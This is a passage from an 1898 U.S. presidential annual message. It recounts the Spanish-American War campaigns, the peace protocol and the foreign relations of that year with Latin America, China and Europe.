Navy, and the objects for which it was used are fully shown in the\nreports of the several Secretaries. It was a most timely appropriation,\nenabling the Government to strengthen its defenses and make preparations\ngreatly needed in case of war.This fund being inadequate to the requirements of equipment and for the\nconduct of the war, the patriotism of the Congress provided the means in\nthe war-revenue act of June 13 by authorizing a 3 per cent popular loan not\nto exceed $400,000,000 and by levying additional imposts and taxes. Of the\nauthorized loan $200,000,000 were offered and promptly taken the\nsubscriptions so far exceeding the call as to cover it many times over,\nwhile, preference being given to the smaller bids, no single allotment\nexceeded $5,000. This was a most encouraging and significant result,\nshowing the vast resources of the nation and the determination of the\npeople to uphold their country's honor.It is not within the province of this message to narrate the history of the\nextraordinary war that followed the Spanish declaration of April 21, but a\nbrief recital of its more salient features is appropriate.The first encounter of the war in point of date took place April 27, when a\ndetachment of the blockading squadron made a reconnoissance in force at\nMatanzas, shelled the harbor forts, and demolished several new works in\nconstruction.The next engagement was destined to mark a memorable epoch in maritime\nwarfare. The Pacific fleet, under Commodore George Dewey, had lain for some\nweeks at Hongkong. Upon the colonial proclamation of neutrality being\nissued and the customary twenty-four hours' notice being given, it repaired\nto Mirs Bay, near Hongkong, whence it proceeded to the Philippine Islands\nunder telegraphed orders to capture or destroy the formidable Spanish fleet\nthen assembled at Manila. At daybreak on the 1st of May the American force\nentered Manila Bay, and after a few hours' engagement effected the total\ndestruction of the Spanish fleet, consisting of ten war ships and a\ntransport, besides capturing the naval station and forts at Cavite, thus\nannihilating the Spanish naval power in the Pacific Ocean and completely\ncontrolling the bay of Manila, with the ability to take the city at will.\nNot a life was lost on our ships, the wounded only numbering seven, while\nnot a vessel was materially injured. For this gallant achievement the\nCongress, upon my recommendation, fitly bestowed upon the actors preferment\nand substantial reward.The effect of this remarkable victory upon the spirit of our people and\nupon the fortunes of the war was instant. A prestige of invincibility\nthereby attached to our arms which continued throughout the struggle.\nReenforcements were hurried to Manila under the command of Major-General\nMerritt and firmly established within sight of the capital, which lay\nhelpless before our guns.On the 7th day of May the Government was advised officially of the victory\nat Manila, and at once inquired of the commander of our fleet what troops\nwould be required. The information was received on the 15th day of May, and\nthe first army expedition sailed May 25 and arrived off Manila June 30.\nOther expeditions soon followed, the total force consisting of 641 officers\nand 15,058 enlisted men.Only reluctance to cause needless loss of life and property prevented the\nearly storming and capture of the city, and therewith the absolute military\noccupancy of the whole group. The insurgents meanwhile had resumed the\nactive hostilities suspended by the uncompleted truce of December, 1897.\nTheir forces invested Manila from the northern and eastern sides, but were\nconstrained by Admiral Dewey and General Merrill from attempting an\nassault. It was fitting that whatever was to be done in the way of decisive\noperations in that quarter should be accomplished by the strong arm of the\nUnited States alone. Obeying the stern precept of war which enjoins the\novercoming of the adversary and the extinction of his power wherever\nassailable as the speedy and sure means to win a peace, divided victory was\nnot permissible, for no partition of the rights and responsibilities\nattending the enforcement of a just and advantageous peace could be thought\nof.Following the comprehensive scheme of general attack, powerful forces were\nassembled at various points on our coast to invade Cuba and Puerto Rico.\nMeanwhile naval demonstrations were made at several exposed points. On May\n11 the cruiser Wilmington and torpedo boat Winslow were unsuccessful in an\nattempt to silence the batteries at Cardenas, a gallant ensign, Worth\nBagley, and four seamen falling. These grievous fatalities were, strangely\nenough, among the very few which occurred during our naval operations in\nthis extraordinary conflict.Meanwhile the Spanish naval preparations had been pushed with great vigor.\nA powerful squadron under Admiral Cervera, which had assembled at the Cape\nVerde Islands before the outbreak of hostilities, had crossed the ocean,\nand by its erratic movements in the Caribbean Sea delayed our military\nplans while baffling the pursuit of our fleets. For a time fears were felt\nlest the Oregon and Marietta, then nearing home after their long voyage\nfrom San Francisco of over 15,000 miles, might be surprised by Admiral\nCervera's fleet, but their fortunate arrival dispelled these apprehensions\nand lent much-needed reenforcement. Not until Admiral Cervera took refuge\nin the harbor of Santiago de Cuba, about May 19, was it practicable to plan\na systematic naval and military attack upon the Antillean possessions of\nSpain.Several demonstrations occurred on the coasts of Cuba and Puerto Rico in\npreparation for the larger event. On May 13 the North Atlantic Squadron\nshelled San Juan de Puerto Rico. On May 30 Commodore Schley's squadron\nbombarded the forts guarding the mouth of Santiago Harbor. Neither attack\nhad any material result. It was evident that well-ordered land operations\nwere indispensable to achieve a decisive advantage.The next act in the war thrilled not alone the hearts of our countrymen but\nthe world by its exceptional heroism. On the night of June 3 Lieutenant\nHobson, aided by seven devoted volunteers, blocked the narrow outlet from\nSantiago Harbor by sinking the collier Merrimac in the channel, under a\nfierce fire from the shore batteries, escaping with their lives as by a\nmiracle, but falling into the hands of the Spaniards. It is a most\ngratifying incident of the war that the bravery of this little band of\nheroes was cordially appreciated by the Spanish admiral, who sent a flag of\ntruce to notify Admiral Sampson of their safety and to compliment them on\ntheir daring act. They were subsequently exchanged July 7.By June 7 the cutting of the last Cuban cable isolated the island.\nThereafter the invasion was vigorously prosecuted. On June 10, under a\nheavy protecting fire, a landing of 600 marines from the Oregon,\nMarblehead, and Yankee was effected in Guantanamo Bay, where it had been\ndetermined to establish a naval station.This important and essential port was taken from the enemy, after severe\nfighting, by the marines, who were the first organized force of the United\nStates to land in Cuba.The position so won was held despite desperate attempts to dislodge our\nforces. By June 16 additional forces were landed and strongly in-trenched.\nOn June 22 the advance of the invading army under Major-General Shafter\nlanded at Daiquiri, about 15 miles east of Santiago. This was accomplished\nunder great difficulties, but with marvelous dispatch. On June 23 the\nmovement against Santiago was begun. On the 24th the first serious\nengagement took place, in which the First and Tenth Cavalry and the First\nUnited States Volunteer Cavalry, General Young's brigade of General\nWheeler's division, participated, losing heavily. By nightfall, however,\nground within 5 miles of Santiago was won. The advantage was steadily\nincreased. On July 1 a severe battle took place, our forces gaining the\noutworks of Santiago; on the 2d El Caney and San Juan were taken after a\ndesperate charge, and the investment of the city was completed. The Navy\ncooperated by shelling the town and the coast forts.On the day following this brilliant achievement of our land forces, the 3d\nof July, occurred the decisive naval combat of the war. The Spanish fleet,\nattempting to leave the harbor, was met by the American squadron under\ncommand of Commodore Sampson. In less than three hours all the Spanish\nships were destroyed, the two torpedo boats being sunk and the Maria\nTeresa, Almirante Oquendo, Vizcaya, and Cristobal Colon driven ashore. The\nSpanish admiral and over 1,300 men were taken prisoners. While the enemy's\nloss of life was deplorably large, some 600 perishing, on our side but one\nman was killed, on the Brooklyn, and one man seriously wounded. Although\nour ships were repeatedly struck, not one was seriously injured. Where all\nso conspicuously distinguished themselves, from the commanders to the\ngunners and the unnamed heroes in the boiler rooms, each and all\ncontributing toward the achievement of this astounding victory, for which\nneither ancient nor modern history affords a parallel in the completeness\nof the event and the marvelous disproportion of casualties, it would be\ninvidious to single out any for especial honor. Deserved promotion has\nrewarded the more conspicuous actors. The nation's profoundest gratitude is\ndue to all of these brave men who by their skill and devotion in a few\nshort hours crushed the sea power of Spain and wrought a triumph whose\ndecisiveness and far-reaching consequences can scarcely be measured. Nor\ncan we be unmindful of the achievements of our builders, mechanics, and\nartisans for their skill in the construction of our war ships.With the catastrophe of Santiago Spain's effort upon the ocean virtually\nceased. A spasmodic effort toward the end of June to send her Mediterranean\nfleet, under Admiral Camara, to relieve Manila was abandoned, the\nexpedition being recalled after it had passed through the Suez Canal.The capitulation of Santiago followed. The city was closely besieged by\nland, while the entrance of our ships into the harbor cut off all relief on\nthat side. After a truce to allow of the removal of noncombatants\nprotracted negotiations continued from July 3 until July 15, when, under\nmenace of immediate assault, the preliminaries of surrender were agreed\nupon. On the 17th General Shafter occupied the city. The capitulation\nembraced the entire eastern end of Cuba. The number of Spanish soldiers\nsurrendering was 22,000, all of whom were subsequently conveyed to Spain at\nthe charge of the United States. The story of this successful campaign is\ntold in the report of the Secretary of War, which will be laid before you.\nThe individual valor of officers and soldiers was never more strikingly\nshown than in the several engagements leading to the surrender of Santiago,\nwhile the prompt movements and successive victories won instant and\nuniversal applause. To those who gained this complete triumph, which\nestablished the ascendency of the United States upon land as the fight off\nSantiago had fixed our supremacy on the seas, the earnest and lasting\ngratitude of the nation is unsparingly due. Nor should we alone remember\nthe gallantry of the living; the dead claim our tears, and our losses by\nbattle and disease must cloud any exultation at the result and teach us to\nweigh the awful cost of war, however rightful the cause or signal the\nvictory.With the fall of Santiago the occupation of Puerto Rico became the next\nstrategic necessity. General Miles had previously been assigned to organize\nan expedition for that purpose. Fortunately he was already at Santiago,\nwhere he had arrived on the 11th of July with reenforcements for General\nShafter's army.With these troops, consisting of 3,415 infantry and artillery, two\ncompanies of engineers, and one company of the Signal Corps, General Miles\nleft Guantanamo on July 21, having nine transports convoyed by the fleet\nunder Captain Higginson with the Massachusetts (flagship), Dixie,\nGloucester, Columbia, and Yale, the two latter carrying troops. The\nexpedition landed at Guanica July 25, which port was entered with little\nopposition. Here the fleet was joined by the Annapolis and the Wasp, while\nthe Puritan and Amphitrite went to San Juan and joined the New Orleans,\nwhich was engaged in blockading that port. The Major-General Commanding was\nsubsequently reenforced by General Schwan's brigade of the Third Army\nCorps, by General Wilson with a part of his division, and also by General\nBrooke with a part of his corps, numbering in all 16,973 officers and men.On July 27 he entered Ponce, one of the most important ports in the island,\nfrom which he thereafter directed operations for the capture of the\nisland.With the exception of encounters with the enemy at Guayama, Hormigueros,\nCoamo, and Yauco and an attack on a force landed at Cape San Juan, there\nwas no serious resistance. The campaign was prosecuted with great vigor,\nand by the 12th of August much of the island was in our possession and the\nacquisition of the remainder was only a matter of a short time. At most of\nthe points in the island our troops were enthusiastically welcomed.\nProtestations of loyalty to the flag and gratitude for delivery from\nSpanish rule met our commanders at every stage. As a potent influence\ntoward peace the outcome of the Puerto Rican expedition was of great\nconsequence, and generous commendation is due to those who participated in\nit.The last scene of the war was enacted at Manila, its starting place. On\nAugust 15, after a brief assault upon the works by the land forces, in\nwhich the squadron assisted, the capital surrendered unconditionally. The\ncasualties were comparatively few. By this the conquest of the Philippine\nIslands, virtually accomplished when the Spanish capacity for resistance\nwas destroyed by Admiral Dewey's victory of the 1st of May, was formally\nsealed. To General Merrill, his officers and men, for their uncomplaining\nand devoted service and for their gallantry in action, the nation is\nsincerely grateful. Their long voyage was made with singular success, and\nthe soldierly conduct of the men, most of whom were without previous\nexperience in the military service, deserves unmeasured praise.The total casualties in killed and wounded in the Army during the war with\nSpain were: Officers killed, 23; enlisted men killed, 257; total, 280;\nofficers wounded, 113; enlisted men wounded, 1,464; total, 1,577. Of the\nNavy: Killed, 17; wounded, 67; died as result of wounds, 1; invalided from\nservice, 6; total, 91.It will be observed that while our Navy was engaged in two great battles\nand in numerous perilous undertakings in blockade and bombardment, and more\nthan 50,000 of our troops were transported to distant lands and were\nengaged in assault and siege and battle and many skirmishes in unfamiliar\nterritory, we lost in both arms of the service a total of 1,668 killed and\nwounded; and in the entire campaign by land and sea we did not lose a gun\nor a flag or a transport or a ship, and, with the exception of the crew of\nthe Merrimac, not a soldier or sailor was taken prisoner.On August 7, forty-six days from the date of the landing of General\nShafter's army in Cuba and twenty-one days from the surrender of Santiago,\nthe United States troops commenced embarkation for home, and our entire\nforce was returned to the United States as early as August 24. They were\nabsent from the United States only two months.It is fitting that I should bear testimony to the patriotism and devotion\nof that large portion of our Army which, although eager to be ordered to\nthe post of greatest exposure, fortunately was not required outside of the\nUnited States. They did their whole duty, and, like their comrades at the\nfront, have earned the gratitude of the nation. In like manner, the\nofficers and men of the Army and of the Navy who remained in their\ndepartments and stations faithfully performing most important duties\nconnected with the war, and whose requests for assignment in the field and\nat sea I was compelled to refuse because their services were indispensable\nhere, are entitled to the highest commendation. It is my regret that there\nseems to be no provision for their suitable recognition.In this connection it is a pleasure for me to mention in terms of cordial\nappreciation the timely and useful work of the American National Red Cross,\nboth in relief measures preparatory to the campaigns, in sanitary\nassistance at several of the camps of assemblage, and later, under the able\nand experienced leadership of the president of the society, Miss Clara\nBarton, on the fields of battle and in the hospitals at the front in Cuba.\nWorking in conjunction with the governmental authorities and under their\nsanction and approval, and with the enthusiastic cooperation of many\npatriotic women and societies in the various States, the Red Cross has\nfully maintained its already high reputation for intense earnestness and\nability to exercise the noble purposes of its international organization,\nthus justifying the confidence and support which it has received at the\nhands of the American people. To the members and officers of this society\nand all who aided them in their philanthropic work the sincere and lasting\ngratitude of the soldiers and the public is due and is freely accorded.In tracing these events we are constantly reminded of our obligations to\nthe Divine Master for His watchful care over us and His safe guidance, for\nwhich the nation makes reverent acknowledgment and offers humble prayer for\nthe continuance of His favor.The annihilation of Admiral Cervera's fleet, followed by the capitulation\nof Santiago, having brought to the Spanish Government a realizing sense of\nthe hopelessness of continuing a struggle now become wholly unequal, it\nmade overtures of peace through the French ambassador, who, with the assent\nof his Government, had acted as the friendly representative of Spanish\ninterests during the war. On the 26th of July M. Cambon presented a\ncommunication signed by the Duke of Almodovar, the Spanish minister of\nstate, inviting the United States to state the terms upon which it would be\nwilling to make peace. On the 30th of July, by a communication addressed to\nthe Duke of Almodovar and handed to M. Cambon, the terms of this Government\nwere announced substantially as in the protocol afterwards signed. On the\n10th of August the Spanish reply, dated August 7, was handed by M. Cambon\nto the Secretary of State. It accepted unconditionally the terms imposed as\nto Cuba, Puerto Rico, and an island of the Ladrones group, but appeared to\nseek to introduce inadmissible reservations in regard to our demand as to\nthe Philippine Islands. Conceiving that discussion on this point could\nneither be practical nor profitable, I directed that in order to avoid\nmisunderstanding the matter should be forthwith closed by proposing the\nembodiment in a formal protocol of the terms upon which the negotiations\nfor peace were to be undertaken. The vague and inexplicit suggestions of\nthe Spanish note could not be accepted, the only reply being to present as\na virtual ultimatum a draft of protocol embodying the precise terms\ntendered to Spain in our note of July 30, with added stipulations of detail\nas to the appointment of commissioners to arrange for the evacuation of the\nSpanish Antilles. On August 12 M. Cambon announced his receipt of full\npowers to sign the protocol so submitted. Accordingly, on the afternoon of\nAugust 12, M. Cambon, as the plenipotentiary of Spain, and the Secretary of\nState, as the plenipotentiary of the United States, signed a protocol\nproviding--ARTICLE I. Spain will relinquish all claim of sovereignty over and title\nto Cuba.ART. II. Spain will cede to the United States the island of Puerto Rico and\nother islands now under Spanish sovereignty in the West Indies, and also an\nisland in the Ladrones to be selected by the United States.ART. III. The United States will occupy and hold the city, bay, and harbor\nof Manila pending the conclusion of a treaty of peace which shall determine\nthe control, disposition, and government of the Philippines. The fourth\narticle provided for the appointment of joint commissions on the part of\nthe United States and Spain, to meet in Havana and San Juan, respectively,\nfor the purpose of arranging and carrying out the details of the stipulated\nevacuation of Cuba, Puerto Rico, and other Spanish islands in the West\nIndies.The fifth article provided for the appointment of not more than five\ncommissioners on each side, to meet at Paris not later than October 1 and\nto proceed to the negotiation and conclusion of a treaty of peace, subject\nto ratification according to the respective constitutional forms of the two\ncountries.The sixth and last article provided that upon the signature of the protocol\nhostilities between the two countries should be suspended and that notice\nto that effect should be given as soon as possible by each Government to\nthe commanders of its military and naval forces.Immediately upon the conclusion of the protocol I issued a proclamation, of\nAugust 12, suspending hostilities on the part of the United States. The\nnecessary orders to that end were at once given by telegraph. The blockade\nof the ports of Cuba and San Juan de Puerto Rico was in like manner raised.\nOn the 18th of August the muster out of 100,000 volunteers, or as near that\nnumber as was found to be practicable, was ordered.On the 1st of December 101,165 officers and men had been mustered out and\ndischarged from the service, and 9,002 more will be mustered out by the\n10th of this month; also a corresponding number of general and general\nstaff officers have been honorably discharged the service.The military commissions to superintend the evacuation of Cuba, Puerto\nRico, and the adjacent islands were forthwith appointed--for Cuba,\nMajor-General James F. Wade, Rear-Admiral William T. Sampson, Major-General\nMatthew C. Butler; for Puerto Rico, Major--General John R. Brooke,\nRear-Admiral Winfield S. Schley, Brigadier-General William W. Gordon--who\nsoon afterwards met the Spanish commissioners at Havana and San Juan,\nrespectively. The Puerto Rican Joint Commission speedily accomplished its\ntask, and by the 18th of October the evacuation of the island was\ncompleted. The United States flag was raised over the island at noon on\nthat day. The administration of its affairs has been provisionally\nintrusted to a military governor until the Congress shall otherwise\nprovide. The Cuban Joint Commission has not yet terminated its labors.\nOwing to the difficulties in the way of removing the large numbers of\nSpanish troops still in Cuba, the evacuation can not be completed before\nthe 1st of January next.Pursuant to the fifth article of the protocol, I appointed William R. Day,\nlately Secretary of State; Cushman K. Davis, William P. Frye, and George\nGray, Senators of the United States, and Whitelaw Reid to be the peace\ncommissioners on the part of the United States. Proceeding in due season to\nParis, they there met on the 1st of October five commissioners similarly\nappointed on the part of Spain. Their negotiations have made hopeful\nprogress, so that I trust soon to be able to lay a definitive treaty of\npeace before the Senate, with a review of the steps leading to its\nsignature.I do not discuss at this time the government or the future of the new\npossessions which will come to us as the result of the war with Spain. Such\ndiscussion will be appropriate after the treaty of peace shall be ratified.\nIn the meantime and until the Congress has legislated otherwise it will be\nmy duty to continue the military governments which have existed since our\noccupation and give to the people security in life and property and\nencouragement under a just and beneficent rule.As soon as we are in possession of Cuba and have pacified the island it\nwill be necessary to give aid and direction to its people to form a\ngovernment for themselves. This should be undertaken at the earliest moment\nconsistent with safety and assured success. It is important that our\nrelations with this people shall be of the most friendly character and our\ncommercial relations close and reciprocal. It should be our duty to assist\nin every proper way to build up the waste places of the island, encourage\nthe industry of the people, and assist them to form a government which\nshall be free and independent, thus realizing the best aspirations of the\nCuban people.Spanish rule must be replaced by a just, benevolent, and humane government,\ncreated by the people of Cuba, capable of performing all international\nobligations, and which shall encourage thrift, industry, and prosperity and\npromote peace and good will among all of the inhabitants, whatever may have\nbeen their relations in the past. Neither revenge nor passion should have a\nplace in the new government. Until there is complete tranquillity in the\nisland and a stable government inaugurated military occupation will be\ncontinued.With the one exception of the rupture with Spain, the intercourse of the\nUnited States with the great family of nations has been marked with\ncordiality, and the close of the eventful year finds most of the issues\nthat necessarily arise in the complex relations of sovereign states\nadjusted or presenting no serious obstacle to a just and honorable solution\nby amicable agreement.A long unsettled dispute as to the extended boundary between the Argentine\nRepublic and Chile, stretching along the Andean crests from the southern\nborder of the Atacama Desert to Magellan Straits, nearly a third of the\nlength of the South American continent, assumed an acute stage in the early\npart of the year, and afforded to this Government occasion to express the\nhope that the resort to arbitration, already contemplated by existing\nconventions between the parties, might prevail despite the grave\ndifficulties arising in its application. I am happy to say that\narrangements to this end have been perfected, the questions of fact upon\nwhich the respective commissioners were unable to agree being in course of\nreference to Her Britannic Majesty for determination. A residual difference\ntouching the northern boundary line across the Atacama Desert, for which\nexisting treaties provided no adequate adjustment, bids fair to be settled\nin like manner by a joint commission, upon which the United States minister\nat Buenos Ayres has been invited to serve as umpire in the last resort.I have found occasion to approach the Argentine Government with a view to\nremoving differences of rate charges imposed upon the cables of an American\ncorporation in the transmission between Buenos Ayres and the cities of\nUruguay and Brazil of through messages passing from and to the United\nStates. Although the matter is complicated by exclusive concessions by\nUruguay and Brazil to foreign companies, there is strong hope that a good\nunderstanding will be reached and that the important channels of commercial\ncommunication between the United States and the Atlantic cities of South\nAmerica may be freed from an almost prohibitory discrimination.In this relation I may be permitted to express my sense of the fitness of\nan international agreement whereby the interchange of messages over\nconnecting cables may be regulated on a fair basis of uniformity. The world\nhas seen the postal system developed from a congeries of independent and\nexclusive services into a well-ordered union, of which all countries enjoy\nthe manifold benefits. It would be strange were the nations not in time\nbrought to realize that modern civilization, which owes so much of its\nprogress to the annihilation of space by the electric force, demands that\nthis all-important means of communication be a heritage of all peoples, to\nbe administered and regulated in their common behoof. A step in this\ndirection was taken when the international convention of 1884 for the\nprotection of submarine cables was signed, and the day is, I trust, not far\ndistant when this medium for the transmission of thought from land to land\nmay be brought within the domain of international concert as completely as\nis the material carriage of commerce and correspondence upon the face of\nthe waters that divide them.The claim of Thomas Jefferson Page against Argentina, which has been\npending many years, has been adjusted. The sum awarded by the Congress of\nArgentina was $4,242.35.The sympathy of the American people has justly been offered to the ruler\nand the people of Austria-Hungary by reason of the affliction that has\nlately befallen them in the assassination of the Empress-Queen of that\nhistoric realm.On the 10th of September, 1897, a conflict took place at Lattimer, Pa.,\nbetween a body of striking miners and the sheriff of Luzerne County and his\ndeputies, in which 22 miners were killed and 44 wounded, of whom 10 of the\nkilled and 12 of the wounded were Austrian and Hungarian subjects. This\ndeplorable event naturally aroused the solicitude of the Austro-Hungarian\nGovernment, which, on the assumption that the killing and wounding involved\nthe unjustifiable misuse of authority, claimed reparation for the\nsufferers. Apart from the searching investigation and peremptory action of\nthe authorities of Pennsylvania, the Federal Executive took appropriate\nsteps to learn the merits of the case, in order to be in a position to meet\nthe urgent complaint of a friendly power. The sheriff and his deputies,\nhaving been indicted for murder, were tried, and acquitted, after\nprotracted proceedings and the hearing of hundreds of witnesses, on the\nground that the killing was in the line of their official duty to uphold\nlaw and preserve public order in the State. A representative of the\nDepartment of Justice attended the trial and reported its course fully.\nWith all the facts in its possession, this Government expects to reach a\nharmonious understanding on the subject with that of Austria-Hungary,\nnotwithstanding the renewed claim of the latter, after learning the result\nof the trial, for indemnity for its injured subjects.Despite the brief time allotted for preparation, the exhibits of this\ncountry at the Universal Exposition at Brussels in 1897 enjoyed the\nsingular distinction of a larger proportion of awards, having regard to the\nnumber and classes of articles entered than those of other countries. The\nworth of such a result in making known our national capacity to supply the\nworld's markets is obvious.Exhibitions of this international character are becoming more frequent as\nthe exchanges of commercial countries grow more intimate and varied. Hardly\na year passes that this Government is not invited to national participation\nat some important foreign center, but often on too short notice to permit\nof recourse to Congress for the power and means to do so. My predecessors\nhave suggested the advisability of providing by a general enactment and a\nstanding appropriation for accepting such invitations and for\nrepresentation of this country by a commission. This plan has my cordial\napproval.I trust that the Belgian restrictions on the importation of cattle from the\nUnited States, originally adopted as a sanitary precaution, will at an\nearly day be relaxed as to their present features of hardship and\ndiscrimination, so as to admit live cattle under due regulation of their\nslaughter after landing. I am hopeful, too, of favorable change in the\nBelgian treatment of our preserved and salted meats. The growth of direct\ntrade between the two countries, not alone for Belgian consumption and\nBelgian products, but by way of transit from and to other continental\nstates, has been both encouraging and beneficial. No effort will be spared\nto enlarge its advantages by seeking the removal of needless impediments\nand by arrangements for increased commercial exchanges.The year's events in Central America deserve more than passing mention.A menacing rupture between Costa Rica and Nicaragua was happily composed by\nthe signature of a convention between the parties, with the concurrence of\nthe Guatemalan representative as a mediator, the act being negotiated and\nsigned on board the United States steamer Alert, then lying in Central\nAmerican waters. It is believed that the good offices of our envoy and of\nthe commander of that vessel contributed toward this gratifying outcome.In my last annual message the situation was presented with respect to the\ndiplomatic representation of this Government in Central America created by\nthe association of Nicaragua, Honduras, and Salvador under the title of the\nGreater Republic of Central America, and the delegation of their\ninternational functions to the Diet thereof. While the representative\ncharacter of the Diet was recognized by my predecessor and has been\nconfirmed during my Administration by receiving its accredited envoy and\ngranting exequaturs to consuls commissioned under its authority, that\nrecognition was qualified by the distinct understanding that the\nresponsibility of each of the component sovereign Republics toward the\nUnited States remained wholly unaffected.This proviso was needful inasmuch as the compact of the three Republics was\nat the outset an association whereby certain representative functions were\ndelegated to a tripartite commission rather than a federation possessing\ncentralized powers of government and administration. In this view of their\nrelation and of the relation of the United States to the several Republics,\na change in the representation of this country in Central America was\nneither recommended by the Executive nor initiated by Congress, thus\nleaving one of our envoys accredited, as heretofore, separately to two\nStates of the Greater Republic, Nicaragua and Salvador, and to a third\nState, Costa Rica, which was not a party to the compact, while our other\nenvoy was similarly accredited to a union State, Honduras, and a nonunion\nState, Guatemala. The result has been that the one has presented\ncredentials only to the President of Costa Rica, the other having been\nreceived only by the Government of Guatemala.Subsequently the three associated Republics entered into negotiations for\ntaking the steps forecast in the original compact. A convention of their\ndelegates framed for them a federal constitution under the name of the\nUnited States of Central America, and provided for a central federal\ngovernment and legislature. Upon ratification by the constituent States,\nthe 1st of November last was fixed for the new system to go into operation.\nWithin a few weeks thereafter the plan was severely tested by revolutionary\nmovements arising, with a consequent demand for unity of action on the part\nof the military power of the federal States to suppress them. Under this\nstrain the new union seems to have been weakened through the withdrawal of\nits more important members. This Government was not officially advised of\nthe installation of the federation and has maintained an attitude of\nfriendly expectancy, while in no wise relinquishing the position held from\nthe outset that the responsibilities of the several States toward us\nremained unaltered by their tentative relations among themselves.The Nicaragua Canal Commission, under the chairmanship of Rear-Admiral John\nG. Walker, appointed July 24, 1897, under the authority of a provision in\nthe sundry civil act of June 4 of that year, has nearly completed its\nlabors, and the results of its exhaustive inquiry into the proper route,\nthe feasibility, and the cost of construction of an interoceanic canal by a\nNicaraguan route will be laid before you. In the performance of its task\nthe commission received all possible courtesy and assistance from the\nGovernments of Nicaragua and Costa Rica, which thus testified their\nappreciation of the importance of giving a speedy and practical outcome to\nthe great project that has for so many years engrossed the attention of the\nrespective countries.As the scope of the recent inquiry embraced the whole subject, with the aim\nof making plans and surveys for a canal by the most convenient route, it\nnecessarily included a review of the results of previous surveys and plans,\nand in particular those adopted by the Maritime Canal Company under its\nexisting concessions from Nicaragua and Costa Rica, so that to this extent\nthose grants necessarily hold as essential a part in the deliberations and\nconclusions of the Canal Commission as they have held and must needs hold\nin the discussion of the matter by the Congress. Under these circumstances\nand in view of overtures made to the Governments of Nicaragua and Costa\nRica by other parties for a new canal concession predicated on the assumed\napproaching lapse of the contracts of the Maritime Canal Company with those\nStates, I have not hesitated to express my conviction that considerations\nof expediency and international policy as between the several governments\ninterested in the construction and control of an interoceanic canal by this\nroute require the maintenance of the status quo until the Canal Commission\nshall have reported and the United States Congress shall have had the\nopportunity to pass finally upon the whole matter during the present\nsession, without prejudice by reason of any change in the existing\nconditions.Nevertheless, it appears that the Government of Nicaragua, as one of its\nlast sovereign acts before merging its powers in those of the newly formed\nUnited States of Central America, has granted an optional concession to\nanother association, to become effective on the expiration of the present\ngrant. It does not appear what surveys have been made or what route is\nproposed under this contingent grant, so that an examination of the\nfeasibility of its plans is necessarily not embraced in the report of the\nCanal Commission. All these circumstances suggest the urgency of some\ndefinite action by the Congress at this session if the labors of the past\nare to be utilized and the linking of the Atlantic and Pacific oceans by a\npractical waterway is to be realized. That the construction of such a\nmaritime highway is now more than ever indispensable to that intimate and\nready intercommunication between our eastern and western seaboards demanded\nby the annexation of the Hawaiian Islands and the prospective expansion of\nour influence and commerce in the Pacific, and that our national policy now\nmore imperatively than ever calls for its control by this Government, are\npropositions which I doubt not the Congress will duly appreciate and wisely\nact upon.A convention providing for the revival of the late United States and\nChilean Claims Commission and the consideration of claims which were duly\npresented to the late commission, but not considered because of the\nexpiration of the time limited for the duration of the commission, was\nsigned May 24, 1897, and has remained unacted upon by the Senate. The term\ntherein fixed for effecting the exchange of ratifications having elapsed,\nthe convention falls unless the time be extended by amendment, which I am\nendeavoring to bring about, with the friendly concurrence of the Chilean\nGovernment.The United States has not been an indifferent spectator of the\nextraordinary events transpiring in the Chinese Empire, whereby portions of\nits maritime provinces are passing under the control of various European\npowers; but the prospect that the vast commerce which the energy of our\ncitizens and the necessity of our staple productions for Chinese uses has\nbuilt up in those regions may not be prejudiced through any exclusive\ntreatment by the new occupants has obviated the need of our country\nbecoming an actor in the scene. Our position among nations, having a large\nPacific coast and a constantly expanding direct trade with the farther\nOrient, gives us the equitable claim to consideration and friendly\ntreatment in this regard, and it will be my aim to subserve our large\ninterests in that quarter by all means appropriate to the constant policy\nof our Government. The territories of Kiao-chow, of Wei-hai-wei, and of\nPort Arthur and Talienwan, leased to Germany, Great Britain, and Russia,\nrespectively, for terms of years, will, it is announced, be open to\ninternational commerce during such alien occupation; and if no\ndiscriminating treatment of American citizens and their trade be found to\nexist or be hereafter developed, the desire of this Government would appear\nto be realized.In this relation, as showing the volume and value of our exchanges with\nChina and the peculiarly favorable conditions which exist for their\nexpansion in the normal course of trade, I refer to the communication\naddressed to the Speaker of the House of Representatives by the Secretary\nof the Treasury on the 14th of last June, with its accompanying letter of\nthe Secretary of State, recommending an appropriation for a commission to\nstudy the commercial and industrial conditions in the Chinese Empire and\nreport as to the opportunities for and obstacles to the enlargement of\nmarkets in China for the raw products and manufactures of the United\nStates. Action was not taken thereon during the late session. I cordially\nurge that the recommendation receive at your hands the consideration which\nits importance and timeliness merit.Meanwhile there may be just ground for disquietude in view of the unrest\nand revival of the old sentiment of opposition and prejudice to alien\npeople which pervades certain of the Chinese provinces. As in the case of\nthe attacks upon our citizens in Szechuen and at Kutien in 1895, the United\nStates minister has been instructed to secure the fullest measure of\nprotection, both local and imperial, for any menaced American interests,\nand to demand, in case of lawless injury to person or property, instant\nreparation appropriate to the case. War ships have been stationed at\nTientsin for more ready observation of the disorders which have invaded\neven the Chinese capital, so as to be in a position to act should need\narise, while a guard of marines has been sent to Peking to afford the\nminister the same measure of authoritative protection as the\nrepresentatives of other nations have been constrained to employ.Following close upon the rendition of the award of my predecessor as\narbitrator of the claim of the Italian subject Cerruti against the Republic\nof Colombia, differences arose between the parties to the arbitration in\nregard to the scope and extension of the award, of which certain articles\nwere contested by Colombia, while Italy claimed their literal fulfillment.\nThe award having been made by the President of the United States, as an act\nof friendly consideration and with the sole view to an impartial\ncomposition of the matter in dispute, I could not but feel deep concern at\nsuch a miscarriage, and while unable to accept the Colombian theory that I,\nin my official capacity, possessed continuing functions as arbitrator, with\npower to interpret or revise the terms of the award, my best efforts were\nlent to bring the parties to a harmonious agreement as to the execution of\nits provisions.A naval demonstration by Italy resulted in an engagement to pay the\nliabilities claimed upon their ascertainment; but this apparent disposition\nof the controversy was followed by a rupture of diplomatic intercourse\nbetween Colombia and Italy, which still continues, although, fortunately,\nwithout acute symptoms having supervened. Notwithstanding this, efforts are\nreported to be continuing for the ascertainment of Colombia's contingent\nliability on account of Cerruti's debts under the fifth article of the\naward.A claim of an American citizen against the Dominican Republic for a public\nbridge over the Ozama River, which has been in diplomatic controversy for\nseveral years, has been settled by expert arbitration and an award in favor\nof the claimant amounting to about $90,000. It, however, remains unpaid,\ndespite urgent demands for its settlement according to the terms of the\ncompact.There is now every prospect that the participation of the United States in\nthe Universal Exposition to be held in Paris in 1900 will be on a scale\ncommensurate with the advanced position held by our products and industries\nin the world's chief marts.The preliminary report of Mr. 